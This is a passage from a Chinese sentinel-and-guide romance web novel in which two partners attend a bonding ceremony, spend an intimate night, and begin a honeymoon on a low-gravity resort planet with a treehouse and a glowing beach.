随即，代表着塔意志的声音，从扩音器中传出，穿透所有喧嚣，清晰地响彻在每个人的耳中： “以联盟哨兵与向导管理最高机构——塔的名义，我在此见证今日的结合！今日在此宣誓结合的每一位哨向伴侣，愿你们的灵魂从此紧密相连，精神与意志从此共鸣，愿你们的神圣结合如宇宙般恒久，愿你们的命运从此被彼此照亮！” 在他的引导下，现场所有人群，不论是站在周围的花船舞台上携手并立的新人们，还是周围的游客观众们，都安静了下来，神情庄重而虔诚。 紧接着，新人们同时执手，面对面闭眼而立，全力催动起自己的精神力。 刹那间，围绕着双子桥的空气剧烈波动起来，数十道来源不同的精神力被释放出来，在空气中弥漫。紧接着，所有精神力开始猛然向内收束，一个个形态各异的精神体，被具现化出来。 威猛的熊罴、优雅的尖喙鹤、可爱的兔子、矫健的奔马、翠绿的藤蔓、熊熊燃烧的火球……形态各异、大小不一的精神体，甫一在空气中现出身形，便是一阵龙腾虎跃，纷纷在所有观众面前展现出它们的独特风采。而后，转身回到自己主人的身边。 下一刻，每一个精神体都向着自己的伴侣走去，越靠近一步，身形便朦胧一分，同时释放出大量的本源精神力。不同的精神力亲密交织在一起，精神体也开始毫无保留地互相融合。最后，所有的精神体都失去了它们原本的模样，化为一个个全新的精神漩涡将所有新人笼罩起来。 数十个精神漩涡随着融合的进一步完成，渐渐散发出更加稳定而强大的全新精神波动！ 这是精神核心的彻底侵染与融合，是比任何誓言或利益，都更加牢不可破的缘于灵魂的绑定宣告！ 从这一刻起，他们正式成为彼此绑定的唯一，直到生命的终结！ “好！” “恭喜！” “永结同心！” 当数十个散发出剧烈精神波动的漩涡出现在众人面前时，连浮空灯散发出的光线似乎都被这数十个强大的力场所扭曲。在场的所有哨兵向导，不论实力如何，都在第一时间感受到了强烈的压迫感。一些控制力不够的哨兵向导，甚至当场被挤出了潜藏在精神图景中的精神体，引得人群中传来阵阵惊呼。 桥上桥下，所有的游客与民众们，都被这壮观的一幕深深震撼。这是缘于基因深处对于强者的渴慕，对于哨向结合的向往。 随即，山呼海啸般的欢呼与祝福声，响彻了整个夜空。 当现场的气氛达到最高点的时候，主持人马丁再次登场。 “让我们对诸位新人们献上最美好的祝愿！并祈愿联盟长安久宁！现在——！”主持人在欢呼声中，情绪激昂地高高抬起手臂，声音透过扩音器传遍四方，“让我们放飞手中的万千灯火，共同祈愿新的一年中，阖家幸福安康！请所有人，跟随我一起倒计时！” 舞台上空，出现一个巨大的全息投影动画，一个数字“10”呈现在所有人的头顶。随即，跟随着主持人的倒计时声，投影中的数字也开始变化。 “十！九！八！……”数万人的声音，共同汇聚成一道整齐划一的洪流。 “……三！二！一！” 当投影上的数字归零的瞬间，环绕着双子桥的所有花船上，同时响起洪亮的钟声！无数道特制烟花从船身中急蹿而出，笔直地射向天穹，在夜幕中炸开万千绚烂的火树银花。 与此同时，桥上桥下所有的民众们，也在欢呼声中，松开了手，让那成千上万盏浮空灯，承载着他们所有美好的祈愿，缓缓升空。 江寻揽住陆厌离的肩头，看着他有些不舍地最后摸了摸手中的猫猫灯，随后转头对着江寻粲然一笑，闭眼祈愿，洒脱放手。用那双盛满了期待的眸子，看着它混入那漫天幻彩星河之中，慢慢远去。 浮空星河逆流而上，与燃尽的星火在路途中交汇，擦肩而过，便如那旧日的逝去与新年的翩然来临，在一望无际的夜空中，交织成一幅动人的画卷。 在这样的气氛感染下，亲密的伴侣、家人们纷纷情不自禁地拥抱在一起，亲吻着彼此，用最最迫切直接的方式，向他们最亲密的人表达着自己此刻的爱与感动。 江寻也在此时低头，深深看向身边的陆厌离。 他的发上倒映着幻彩，碧眸中，蕴藏着万千星河，同时看向江寻的眼神里，刻印着满溢而出的期待、希冀与深深的触动。 江寻在如此目光的注视下，心中如有温泉流淌，难以克制地柔情满溢。 他捧起陆厌离的脸颊，此时无需言语。 在陆厌离微微睁大的惊讶目光中，低下了头，深深以吻封缄。 陆厌离的眼神，从惊讶缓缓化为无尽的依赖与喜悦。他含着笑意闭上眼睛，昂起脖颈，紧紧抓住江寻胸前的衣服，靠进他的怀里，顺从地启唇，迎着强势的君主进来巡视他的领地。 两人的身影，在这一吻的间隙中，几乎合为一体，就这样融入了这万千幸福的剪影之中。 * 直到从结合庆典回家，那种被激荡起来的心绪仍久久不能平静。一路上两人都紧紧握着彼此的手，颦笑之间尽是绵绵情意流转。 进门已经夜深，两人都在一天的游玩中感觉到了疲惫。也不想再去收拾明天出去旅行的行李，换下外出的衣服，便去洗漱。 沐浴完毕，又推着江寻也进了浴室里，陆厌离这才换上睡袍坐下身来，在淅沥沥的隐约水声中，慢慢平静下来。 取出白天两人共同编织出的那个来自江寻家乡的同心结，陆厌离抚摸在那一根根红色绒线上，抿唇一笑。抬头在卧室中打量一圈，视线落定在床头的壁灯上，又提起同心结比划了一下，这才小心翼翼地将它挂在了壁灯下面。 壁灯的光芒映照在下方的同心结上，在墙面上投下一抹淡红色的阴影，流苏摇摆之间，晃动了影子，也晃动了谁的心神。 陆厌离这才满意地点了点头。 “怎么还不上床？不困吗？” 浴室门在此时被打开，在一层淡薄的水蒸气中，江寻擦着头发走了出来。陆厌离一扭头，一阵隐约的苦艾味道混杂在沐浴露的清香中扑面而来。 陆厌离没有回答，只是站在原地对江寻露出一个毫无阴霾的笑容。 江寻神情一动，动作慢了下来，与陆厌离对视片刻，看着那双眸子里缓缓泛起的羞涩与期待，抿唇一笑，丢下手中的毛巾，一步上前。 下一秒，陆厌离便已经陷入对方的怀抱里。 大手沿着脖颈抚上侧脸，轻轻抬起他的下巴。 随即腰间一松，身上的睡袍顺理成章地滑落在地，膝弯被扶着挂上对方腰间。 “唔……江寻……慢……” 双肩跌落在床榻上的时候，陆厌离强忍着一波一波从脊柱窜上颅顶的快感，抓着江寻揽在他腰间的胳膊，看向跪坐在面前，侧脸亲吻他膝盖的男人，脑中却没有像往常那样沉迷其中。 他借着壁灯照耀下来的昏黄灯光，在摇晃中将目光一寸寸从对方熟悉的侧脸上划过，脑海中不由自主地反复回放着那些花船上渐渐失去形态，融汇为一体的精神漩涡。回放着那些伴侣全心全意，幸福而笃定地看向自己爱人的目光。 一个强烈的念头在他的心中盘旋起来——他也想和那些人一样，和江寻完全绑定。想像那些人一样，与对方的身体与精神，再无任何隔阂地融为一体。 想要用这世上最最牢固的方式，确认自己永远属于江寻……江寻也永远属于自己。 可是，这个念头越强烈，心中不确定的隐忧就缠绕得越紧。 当初是自己没有经过对方的同意，故意欺骗着江寻完成了单向绑定。如今，虽然他们在一起了，江寻也一直对他很好，非常纵容，对他承诺了永远。 可江寻是如此珍贵的S级“寻道者”，他未来的时间还有很长很长，也刚刚对世人公布出自己的等级，还在圣所中念书，没有真正踏入过上流社会，没来得及享受到属于S级向导应有的尊荣与地位。等他真正体会到了那一切，真的……还愿意只要自己一个吗？到时候，他会不会为现在的决定而后悔？ 他还这么年轻，自从被自己从寂静星上推入这个庞大的联盟中以后，便一路颠沛流离，根本就没有见识过真正的顶级世家会拥有什么样的特权，没有尝试过那种立于万万人之上的滋味，甚至……从未与除自己以外的人亲密过。如若他如今在冲动下做出决定，在未来漫长的时间里，真的能甘心被自己一个人绑住吗？ 联盟上一位尊贵的“寻道者”，也是现存的除江寻外唯一的一位“寻道者”玛格丽特阁下，便始终维持着与多位顶级哨兵的亲密关系，一生都没有与任何人完全绑定。也因此，在将近二百年的时间里，她始终活得潇洒璀璨，身边从不缺年轻优秀的天之骄子。并且在这漫长的时间里，与她的哨兵们共同建立起了一个庞大的势力网，成为联盟中举足轻重的顶级势力。 在这样一个榜样的照耀下，江寻完全可以走上同样的道路，攫取权势，立于顶峰，得到最好的一切。而不是一生都被自己束缚住，限制他的未来可能。 陆厌离嘴唇微动，看向江寻的目光复杂起来。他不敢问出口，既怕得不到渴望的答案，又怕那真的是自己期盼的答案。 最令他难以面对的是，连他自己的心底，都觉得江寻应该得到最好的一切，而不是困守在自己身边。 他在江寻惊讶的目光中闷哼一声，坐起身来，另一条腿也勾住对方后腰，更深地容纳对方。攀住江寻的脖颈，紧紧贴上他的胸膛，将面孔埋进江寻的颈窝里，感受着那份令他期待又让他不安的温度。 江寻怔了一下，随后，微妙的感应力便将一些复杂难懂的酸涩滋味传入他的心间。 他侧头看了深埋在自己颈窝中的人一眼，没有询问，而是更加用力地搂紧对方的身体，轻柔地拍抚在陆厌离的后脑上，以行动安慰着怀里这个心事重重的人，让他感受到自己的深厚爱意。 今晚所见的一切，不仅令陆厌离心绪浮动，同样的，也让江寻深深触动。 那些交融为一体的精神力光芒，何尝没有在他的心中点燃对彻底结合的向往？他也渴望能与陆厌离达到那种毫无保留，毫无隔阂的亲密状态，渴望着有一个人，能够完完全全的永远属于自己。 可是，陆厌离的表现明显还没有达到与自己毫无隔阂的程度。也许是相聚的时间太短，也许是自己还不够强大，他仍是能够明显地感觉到对方心底始终存在的种种隐忧。 最明显的事实是，当陆厌离处于人形姿态时，对自己仍是顺从隐忍居多。虽然在自己的引导下，他能偶尔说出一些自己真实的想法，可仍是无法毫无芥蒂地对自己吐露心声、表达不满。 那种在小树的姿态下，肆无忌惮对他撒娇、捣乱，对他的举动反抗，理所当然地要求偏爱的行为，从未在他的人形姿态下出现过。 虽然陆厌离如今依赖他，亲近他，可对方的内心深处，仍徘徊着缘于过往的那份不安与自厌。江寻深知，没有解决这个问题，他们之间的感情，便绝不可能达到毫无芥蒂的程度。 尼克斯的告诫言犹在耳，他们之间还有一个不完整的“刻印图纹”，需要在情感达到极致时完成绑定，才有机会令刻印再次降临，补完那份缺憾。这样千载难逢的机会，一生只有一次。如果他现在心软，为了让陆厌离彻底安下心来，完成与对方的完全绑定，那很可能会将这份隐患永远留在他们之间，也无法再次触发“刻印”。这不是他想看到的结果。 江寻侧眸看着陆厌离轻蹙的眉眼，轻轻将他额际汗湿的银灰发丝向后拨去，低头在他侧脸上珍惜地印下一吻。 不必着急，他们还有很长的时间，他也很有耐心。他相信自己终有一天会让对方在自己面前肆无忌惮地展露出所有模样。 江寻感受着那仅隔着一层皮肤，渐渐共振统一的强烈心跳，将那份最深的渴望与占有欲压入心底。紧紧搂住对方，让他与自己更靠近，将对方承受不住的闷哼声堵在双唇之间。 在纷乱的思绪中，他将对方转过身去，再一次压入枕间，看了看那团白莹莹的软肉，拉着陆厌离再一次陷入迷乱之中。 摇晃的身影倒映在床头的墙壁上，仿佛牵着床头那枚红色的同心结也一起晃动了起来，在黑暗中荡开一圈圈涟漪。 同心结缓缓摇晃着翻转过去，遮住了其中一边的绳耳，宛如一个遗留下来的，尚未圆满的期待，在这摇曳的夜色中，静静高悬。 第217章 难得的假期仍在继续。第二天， 两人几乎是同时早早睁开了双眼。对于第一次“旅行”的期待，令他们从起床的那一刻开始便雀跃了起来，连空气中仿佛都跳跃着轻快的气息。 江寻早早就做足了攻略， 也从陆厌离那里了解了他们将要去的那颗度假星大致的情况，提前购置好了需要带过去的物品。 大型一些的潜水设备等物件，已经被他提前装上了车子，这会儿只需要收拾好一些衣物日用品就能出发了。 与中央星刚入早春的季节不同， 听陆厌离说， 那边常年湿润温暖， 江寻为两人准备的，便都是夏天的衣物。正将几件轻薄衣物叠好往面前的行李箱里装， 身后却传来一阵隐约的精神波动。 还不等他疑惑转身查看，一只毛茸茸的灰影便已经飞快窜了过来，一跃精准地跳进他面前摊开的行李箱中央， 堂而皇之地趴下来， 将自己摊成一张大大的“猫饼”。碧绿的眼眸含着狡黠看着江寻，张嘴拖出一声长长的“喵呜——”，蓬松的大尾巴还翻卷过来， 带着点得意， 从江寻的手背轻轻扫过。 江寻一把将撩了自己一把就想逃脱的大尾巴捏在手里， 在指缝间缠绕几下， 回头看看身后。 果然， 属于陆厌离的那个行李箱已经被整理好合了起来。 “哼， 自己的行李收拾好了就来给我捣乱是不是？” 江寻看着霸占了他行李箱的猫猫， 嘴上哼了一声，眼底却漾开浓浓的笑意。放下手中叠到一半的衣服，席地而坐， 伸手挠了挠猫猫的下巴，惹得他发出一声清软的叫声。又用手指轻轻点了点他湿润的鼻尖：“怎么？不想自己提行李了，想让我把你打包带走不成？” “喵~”猫咪夹着嗓子长叫一声，侧过脑袋蹭上他的手心，伸出粉红色的小舌头舔了舔他的手指，又碰瓷一般贴着他的手臂软软倒了下去，明显是在耍赖撒娇。 江寻被他这副难得的小模样逗笑，心情越发愉悦起来：“今天这是怎么了？和我一起去旅行就这么开心吗？” 江寻干脆也不急着收拾东西了，把惫懒的小猫抱进怀里好一阵搓揉，与今天格外活跃的猫猫玩了许久，尽情在他蓬松的毛发里过足了手瘾，吸猫吸得志得意满，直到被猫猫抗议地伸出肉垫使劲往外推，这才笑着松手放过了猫猫。 小树从江寻怀里溜出来，一身的长毛已经被揉得四处乱翘。他胡乱甩了甩身子，四爪一阵扑腾就头也不回地冲进了浴室里，再出来时，已经恢复了人形。 一变回人形，陆厌离立刻又端起了那副清清冷冷的模样，只是脸上未褪的红晕与眼底残留的笑意，昭示着刚才的一切都不是幻觉。 轻咳一声，陆厌离背对着江寻快步走近，拖上自己的行李箱就往门外走去，只留下江寻坐在原地，看着他脚步轻快的背影，摇头低笑。 一切准备就绪后，江寻也拖着自己的行李箱搬上了悬浮车。他们将先前往军部的专用空港，再换乘停放在那里的私人小型穿梭舰，前往那颗小型度假星。 一路顺利地登舰升空，在引擎的轰鸣声中，穿梭舰挣脱地心引力，跃入太空。 陆厌离名下的这颗度假星，地理位置相当偏远，几乎已经接近边缘星域。穿梭舰经过数个枢纽站，近十次的跃迁，才靠近了它所在的星域。 按照坐标又行驶了一段时间，当舰内控制系统提示减速时，两人终于在舷窗外看到了那颗看起来格外宁静的星球。 它的体积不大，通体被浓郁的绿色与蓝色水域所覆盖，在这个距离上，只能看到散布在海洋中的零星几片陆地。在无光的宇宙空间中，它宛如一颗温润的翡翠珠子般静静漂浮着。 这就是陆厌离名下那颗私人度假星——荧珠星。 “真漂亮……”江寻站在舷窗前，看向不远处这颗明媚的星球，低声感叹道。 正如陆厌离所说，虽然地处偏僻，星球整体的规模也不大，陆地面积有限，不太适合大规模开发，可这颗星球的自然条件确实得天独厚，江寻猜想，若不是地理位置所限，它或许能成为一颗小有名气的度假星。 江寻的夸赞令陆厌离心中难得生出些自得来，“它很美是吗？登陆之后你会发现，它比现在看到的还要漂亮上好几倍。” 陆厌离一边操纵着穿梭舰，寻找他曾经留下的坐标点，一边同样带着些憧憬说道：“不过我也只在刚刚获得它的时候来过一次。当时本来打算在这里修养一段时间的，但是中途又接到了任务，只能匆匆离开。只留下了一道简易生态穹顶，将我当时住着的那片海滩与毗邻的一小片森林区域笼罩保护起来。那座住宅也在里面，这么长时间过去，也不知道那里有没有出现什么变化。” 穿梭舰很快找到了那片生态穹顶的坐标，陆厌离操作着舰艇缓缓降落下去，在穹顶边缘预先留出的停机坪上稳稳停驻。 舱门一打开，一股比中央星上还要清新的温暖湿润空气便扑面而来，拂过鼻尖的微风，都带着来自植物的清甜与海洋的咸涩气息。 舷梯自动铺设到地面上，江寻刚踏出穿梭舰的舱门，便立刻感受到了不同。 这里的重力明显比中央星要小得多，他只感觉身体格外的轻盈，仿佛每一步都在跳跃一般。 或许也是因为重力较低的原因，这里的植物都长得格外高挑纤细，郁郁葱葱地占满了他的整个视野。 “这里……变化好大。”陆厌离跟在江寻身后走下舰艇，看着眼前这个既熟悉又陌生的世界，眼中泛起奇异的色彩。 大概是因为生态穹顶的影响，这片区域的环境已经与他第一次来时大相径庭。原本零散稀疏的小片沿海森林，如今已经被各种植被所占据，所有的植物都长得异常茂盛。 高高低低的树木错落着自由生长，努力向上延伸出去，在头顶形成层层叠叠茂密的树冠华盖。各种叫不出名字的花草藤蔓在林木之间肆意生长，充满了蓬勃的生命力。 显然，在无人打扰的这段时间中，生态穹顶将它笼罩范围内的这些生命保护得很好，它们已经形成了一种和谐的生态系统，甚至吸引到了许多穹顶外的小动物们，也将家搬到了这里。 郁郁葱葱的林间，隐约传来清脆的鸟鸣声与虫豸窸窸窣窣的细微声响。和着远处隐隐传来的海浪声，营造出一种非常自然清新的氛围。 江寻也被这充满了异域情调，又十足鲜活的情景所吸引，露出一个惬意的微笑来，深深吸了一口林间空气，对接下来几天的假期，充满了期待。 两人从穿梭舰上取下各自的行李箱，推着向陆厌离记忆中住所的位置走去。 刚向前迈出一步，江寻便是一个踉跄，差点因为没控制好力道向前冲出去。与平日里差异过大的重力，不仅影响了他们自身的行动，连拿取重物、进行各项活动，都相应受到了影响，需要重新调整已经习惯了的发力方式。 他只感觉自己脚下像是装了弹簧一般，每一步都轻飘飘的控制不好落点；又像是每一步都踩在棉花上，反作用力很小，摩擦力也减弱不少，一不小心就有滑倒的感觉。 好在陆厌离早已预料到了这一点，一直在他身边留意着他的动静，一见他失去平衡，立马眼疾手快地上前一步，扶住他的手臂。又指点着他，如何调整自己的重心，又如何在这种低重力环境下，控制住自身的力道。 陆厌离以前为了执行任务不知去过多少地方，不要说仅仅只是重力产生一些变化，他去过的很多星球，甚至都不适合人类生存，早已学会了如何第一时间调整自己的状态。 平日里，多是江寻在教他做各种事情，难得有他能指导江寻的机会，此时看着江寻笨拙的脚步，眼中便忍不住地泛起笑意。 江寻无奈地看了眼陆厌离含笑的眸子，还想绷起脸假装生气，自己却先忍不住笑了起来，“这种感觉……可真奇怪。” 他尝试着稳住身形，向前走了几步。虽然依旧不太习惯，但那种每一步都好像要跳跃起来的轻盈感，却也给他带来了一种新奇有趣的体验，让他忍不住露出感兴趣的笑容来。 这种时候，他也不勉强自己了，把自己的行李箱交给陆厌离，跟在他身后，慢吞吞地一步一步向着陆厌离记忆中模糊的方位找过去。 两人在茂密得过分的植被间艰难穿行着。 无人看管的情况下，这里的植被长得格外肆意。地面上的高草几乎长到了大腿根，巨大的蕨类植物舒展开宽阔的叶片，蜿蜒的藤蔓垂吊在树木之间，不知名的小花从草间、树木的枝丫上冒出头来，长长的气根从看不清的高处垂落下来，深深扎根在土壤里。 两人在林子中寻找了好半天，终于在一片特别高大的林木掩映之下，找到了那栋已经与周边的环境几乎融为一体的悬空树屋。 这种高大的树木，是这个星球上特有的一种奇特树种。树干整体呈现出一种微微发黄的乳白色，下部树干纤细而笔直，少有枝丫，长到二三十米上，才有几道粗壮枝干向着四面延伸开来。 而陆厌离留下的那座别墅，就建在几棵高树中间交叉的枝干上。 在这样的环境中，这些高树几乎是以违背常理的姿态笔直向上生长着，江寻目测了一下，整棵树的树干几乎高达两三百米。 它们的树冠在极高的顶端位置完全撑开，尽情享受着阳光的沐浴。巨大的伞状叶片，在微风下轻轻摇曳着，呈现出一种半透明的质感，边缘处还隐隐流动着蓝绿色的光泽。 点点阳光透过树叶的缝隙洒落在树屋的屋檐墙面上，隐隐绰绰地照亮了窗户上的玻璃，反射出点点细碎明亮的光芒。 “就是那里吗？”江寻抬手指向那栋悬空树屋。 “对。”陆厌离点头确认。 两人又走近一些，江寻这才看清了那栋屋子的全貌。 那是一栋精巧的树屋，因为搭建在几棵相邻的银白色巨树中间，整体的面积不算太大，但是看上去足有三层。 大概是考虑到承重的因素，它整体的建筑材料主要是木材与一种半透明的材料，借着头顶洒下来的阳光，能隐隐约约看到房屋内部的一些家具布置。 “这里的重力比较轻，而且我当时想着，可能很久才会过来一次，为了防止可能的涨潮或者野生动物侵入，就选择把屋子建在树上了。”陆厌离一边走近，一边给江寻解释道。 “原来如此。”江寻了然地点点头，兴致勃勃地打量着这座奇妙的悬空树屋。这种屋子江寻可从没住过，但是不得不说，住在树屋里，可能是每一个孩子儿时都有过的梦想。此刻发现这个小小的梦想居然能在这里实现，不禁从心底生出许多期待来。 “不过……”江寻仰头望着高悬在离地二十多米的半空中的树屋，有些疑惑地扭头看向陆厌离，“这屋子要怎么上去呢？” 陆厌离看着江寻的眼睛微微一笑，没有直接解释，而是径直走向其中一棵支撑着树屋的巨树。 下一刻，一阵细微的精神波动散发开来，陆厌离伸出的双手一动，迅速变化起来。手背隆起，手指伸长弯曲下去，指尖一闪，指甲锋锐地突出，而后迅速硬化，化为弯钩。不到三秒的时间内，他的双手就化作了一双巨大的利爪。 只见他伸出一只爪子，利落地扣住面前的树干，双腿微曲稍一发力，下一刻，整个人便如矫健的猎豹一般，向着上方纵跃了出去。 在低重力的加持下，他的运动能力更是被发挥到了极致，整个人迅捷而又优雅，每一次躬身前跃都能跨越过将近七八米的距离。几个起落之间，便已经敏捷地攀上了树屋所在的平台。 江寻在下面看着他的动作，只觉目眩神迷，脸上绽出一个大大的笑容。 不一会儿，陆厌离的脑袋从树屋边缘探了出来，目光与底下仰面望向他的江寻对上，脸上带着一点运动过后的微红与得意。他将一卷绳梯从上方抛了下来，长度刚好垂到江寻面前。 江寻感兴趣地扯了扯绳梯，这绳梯好像也是就地取材，用一种植物纤维编织而成的，入手有些粗糙，但看起来十分牢固。 他没有犹豫，抓着绳梯，开始小心地向上攀爬。低重力状态下感受确实不同，他只感觉自己的身体都轻了许多，虽然他的动作不如陆厌离一般利落矫健，但也轻轻松松就爬上了一大截。只是这个高度让他还是有些紧张，越往上去速度越慢，但最终，还是成功登上了这座空中小屋。 江寻虽然也经常身处高楼之上，可那种感觉，与现在这样身处空旷的高树上，又是完全不同的。他这会儿的感觉有些新奇，又有些兴奋，站在平台上心旷神怡地朝着四面八方打量了半天，这才满意地跟着陆厌离向中间那栋别致的空中别墅走去。 在近处看，这里的内部空间又比从下面看时显得宽敞许多。别墅内部的结构比较少，大部分房间都是半开放互相连通的。几乎没用什么混凝土材料，整体建筑使用了大量的原木与特殊玻璃。 这么长时间过去，建筑上已经爬满了藤蔓，屋顶窗沿，外部的平台上，还留有一些小动物的巢穴。整个别墅几乎已经与周围的森林景致完美地融合在了一起。 不过，因为密封性非常好，虽然已经许久没有人居住过，房子里也没有留下多少灰尘。 进了别墅，陆厌离先是熟门熟路地向着最下层走去，打开一个密封舱门，露出安置在下面的动力间。 微型反应堆在轻微嗡鸣声中启动，树屋中的灯光次第亮起，又在一声“滴——”的长鸣后自动关闭。 他从行李中取出必备的固态水与一些生活资源，放进储备间里，最后，开启中央控制器，唤醒了处于休眠状态的智能管家系统。 【滴——！尊敬的陆厌离少将，欢迎回家，智能管家为您服务，请问有什么我可以帮您？】 “重启全屋生态调控系统，并进行全屋清洁。”陆厌离下令道。 【好的，环境调控已启动，正在进行全屋清洁评估……】 【正在检查能源……已通过。正在检查资源……已通过。全屋清洁程序已就绪，请您退出房间，全屋清洁即将开始，预计耗时：2小时30分钟。】平稳的电子音向着陆厌离汇报道。 “先把行李放下，趁这个时间，我带你去附近逛逛吧。”陆厌离拉着江寻登上最上层的卧室，将两人的行李箱暂时放在房间里，又双双换上适宜这里天气的轻便衬衫短裤，便退出房间，让清洁程序自动运作起来，再次顺着绳梯回到地面上。 “前面就是海边，我带你过去看看。”陆厌离说完，拉着江寻便兴冲冲地朝着隐隐传来浪涛声音的方向走去。 江寻发现，自从在这里落地之后，陆厌离似乎变得格外活泼，总是急着带他去看这看那，就像是想把自己的新玩具给小伙伴展示的小朋友一般。 他暗自为自己的联想一笑，从善如流地随着他一路前行而去。 两人脚步轻快，穿过一小片缀着细碎花朵的灌木丛后，眼前豁然开朗。 视野被泾渭分明的两种颜色分成两边：一边是极其宽阔而蜿蜒绵长的白沙滩。而另一边，是一片一望无际如蓝宝石般剔透晶莹的海洋。 江寻眼前一亮，快走几步，踩上绵软沙滩，细细看去。 与寻常金黄色的沙滩不同，这里的沙滩整体居然呈现出一种莹润的白色，在阳光的照耀下，有些晃眼。 江寻好奇地蹲下身去，抓起一把沙子细细看去。从指缝间溜走的细沙中，除了常见的黄色沙粒，还混杂着大量乳白色，甚至有些晶莹质感的白色沙粒。正是这种特殊的白色沙粒，才让整片海滩，都呈现出如此独特的颜色。 “这些白色的沙子是……”江寻单独捻出几粒白沙，捏在指尖对着太阳看去。这种细沙，在阳光下似乎有些半透明的质感，外表摸起来比普通的沙子更加细腻光滑，明显不是什么普通的石质颗粒。 陆厌离看着江寻这副被勾起了好奇心的模样，神秘地笑了笑，卖了个关子：“这个嘛，晚点再告诉你，我们先看海。” 江寻奇异地看了陆厌离一眼，这副模样，可很少在他身上出现。不得不说，他这么一卖关子，还真的勾起了自己的好奇心。于是，江寻也顺从地没有追问下去，而是顺着陆厌离的目光看向旁边的大海。 没有人类踏足的海洋，清澈得不可思议。 江寻能清晰地看到浅层海床上那些色彩斑斓的珊瑚丛，以及在珊瑚丛间快速游曳的鱼群。 江寻此时也来了性质，拉着陆厌离脱下鞋子，赤着脚踩上白沙滩，向着海面走去。 当清澈的海水随着清浅的浪花拍在他的脚背上时，江寻惊讶地发现，这里的水温居然不像他想象的那样冰冷，反而带着一种恰到好处的温度，触到皮肤时十分舒适。 脚下的细沙被一波一波的浪潮推动着，不断轻柔地在他脚背上冲刷而过，带着点微痒，又轻柔温热，感觉十分舒服惬意。 两人牵着手，就这样顺着海岸线在沙滩上漫步，每走一步就留下一对并排的脚印。留下的脚印又在海浪下一次翻卷回来时被一一抚平。 一望无际的粼粼海面，配上脚下舒服的触感，身边还有亲密爱人相伴，两人虽然没有说话，但面上全是心旷神怡的笑意，心中满溢平和安宁。 手牵着手，他们有一搭没一搭地聊着闲话，在沙滩上漫步了好一会儿，眼见太阳开始西斜，陆厌离这才拉住江寻的手：“时间应该差不多了，我们先回去吃饭休息一会儿。晚上这里更加好看，等天黑了，我们再过来。” 江寻一挑眉，想到陆厌离刚才神神秘秘的模样，也对夜晚升起了期待。最后回头看了一眼这片在日光下，已然美得惊人的白色沙滩与碧蓝波涛，跟着陆厌离转过身去，沿着来路返回了他们位于树梢间的小窝—— 作者有话说：蜜月开始啦[让我康康] 第218章 一路回到悬挂在林间的树屋别墅时， 智能管家果然已经完成了清洁工作。屋子里那浅浅的一层薄灰被清理得干干净净，几扇窗户敞开着通风，空气中弥漫着清新的植物气息。 两人上楼， 将带来的行李箱中的物品一一取出归置到房间里，正准备拿出带来的便携自热餐盒，简单解决掉这顿晚餐，陆厌离却像是突然想起了什么， 眼睛一亮。 “等等， 我们去上面吃。”他拉住江寻的手腕， 沿着室内中央盘旋而上的楼梯，一路来到别墅最顶层的卧室里。 刚才第一次过来的时候， 江寻就被陆厌离带着在整个别墅里转了一圈。给他留下最深刻印象的就是这个位于最高层的卧室了。 这一整层都没有隔断，一头放着一张宽敞的双人床，另一面， 铺着地毯， 摆着两张舒适的懒人沙发。沙发正对着的，便是一整面朝向大海方向的巨大弧形玻璃墙。 此时，陆厌离就拉着江寻坐到了沙发上， 对着空气轻声下令：“智能管家， 开启全景模式。” 话音落下， 只听一阵轻微的机械转动声响起。随后， 两人面前那面巨大的玻璃墙， 竟然缓缓向下收缩进去， 最终完全消失在了地板下方。 同时， 他们头顶上方的屋顶，也一层一层地折叠起来向后滑开。顷刻之间，整个顶层卧室， 便变成了一个完全开放的观景平台！ 高大的银白树干在平台两侧笔直耸立，直达不可见的高处。森林里隐隐的虫鸣鸟叫声，失去了玻璃的阻隔，一下子变得格外清晰起来。几条不知名的藤蔓从头顶的树干上垂挂下来，嫩绿的枝条几乎要探入房间里。其中一种有着心形叶片的藤蔓，顶端还挂着一串串如风铃般的小花，当江寻好奇地触碰时，那些小花的花瓣竟然像含羞草一般微微向内卷曲起来，重新闭合成花骨朵的模样，十分神奇。 江寻的目光亮了起来，抬头远眺出去。顿时，更远处的景致也映入眼帘。 越过面前层层叠叠的树冠，不远处那一线白色沙滩与波涛起伏的深蓝色碧波尽收眼底。 阵阵清凉湿润的海风从前方吹来，风中还残留着些许傍晚阳光留下的暖意，轻拂过两人的面颊。 “太漂亮了！”江寻长长吐出一口气，惊喜地环顾着这片难得的景致。 “我们就在这里吃饭吧。”陆厌离嘴角勾起笑意，显然很满意江寻的反应。 两人兴致勃勃地坐上沙发，就着这逐渐深邃下来的暮色，林间环绕的微风与耳边叽叽喳喳的自然之声，享用了一顿简单却氛围感十足的晚餐。 等他们吃完饭，夜色也已完全降临下来，远远望去，能看到从海滩处散发处的阵阵微光。 “那是……”江寻正要站起身来看个清楚，却被陆厌离从身后一把捂住了双眼。 “现在先别看，跟我过去再看。”陆厌离神秘兮兮地阻止了他，随即拉着江寻便下了楼，一路顺着绳梯滑下地面，再次携手向着白沙滩那边走去。 此时，天色已经彻底暗了下来。一轮银白色的巨大月亮从东方一跃而出，将清辉洒向大地。 就着月色，两人穿过两地之间一片野草繁花，临近踏上沙滩时，陆厌离再一次伸手捂住了江寻双眼，“我带你过去。” 说完，就捂着他的眼睛，牵着江寻往前走去。 江寻吟吟一笑，顺从地随着他的引导慢慢向前走去，直到感觉到微凉的波浪再次漫过脚面，两人才停下了脚步。 “准备好了吗？”陆厌离带着笑意的温热吐息拂过江寻的耳廓。 他耳朵敏感地动了动，低笑一声，配合着难得孩子气的陆厌离应道：“好了。” “三，二，一！” 随着倒计时归零，挡住视野的那只手掌被挪开，一片梦幻神奇的场景出现在了江寻面前！ 夜幕下的沙滩，此刻却并没有被黑暗完全吞噬，而是散发着一种柔和温润的莹莹白光。更神奇的是，另一边一波波涌上沙滩的浪花里，此刻也闪烁着一条一条明亮的幽蓝光带，随着浪花翻涌不停地翻卷着，在海面上时隐时现。 夜幕下的沙滩因为这两种截然不同的荧荧光彩，宛如梦境般美妙。 “这是……”江寻果然被面前这番奇妙的景致所吸引，视线从目之所及的尽头缓缓游移到脚下。那幽蓝色的光带被冲刷着触碰到他的脚腕时，顿时碎成片片淡蓝碎屑，又与其他碎屑汇合在一处，随着返潮的浪花再次游动回深海之中。 在陆厌离略带得意的目光下，江寻蹲下身来，抓起一把散发着珍珠般晕光的白沙，在手中细细端详。 果然如他所想，那散发出光芒的，并非普通的黄沙，而是下午曾看到过的那种温润白沙。那光芒也不是反射的天上月光，而是从这白沙内部自内而外自然散发出来的。 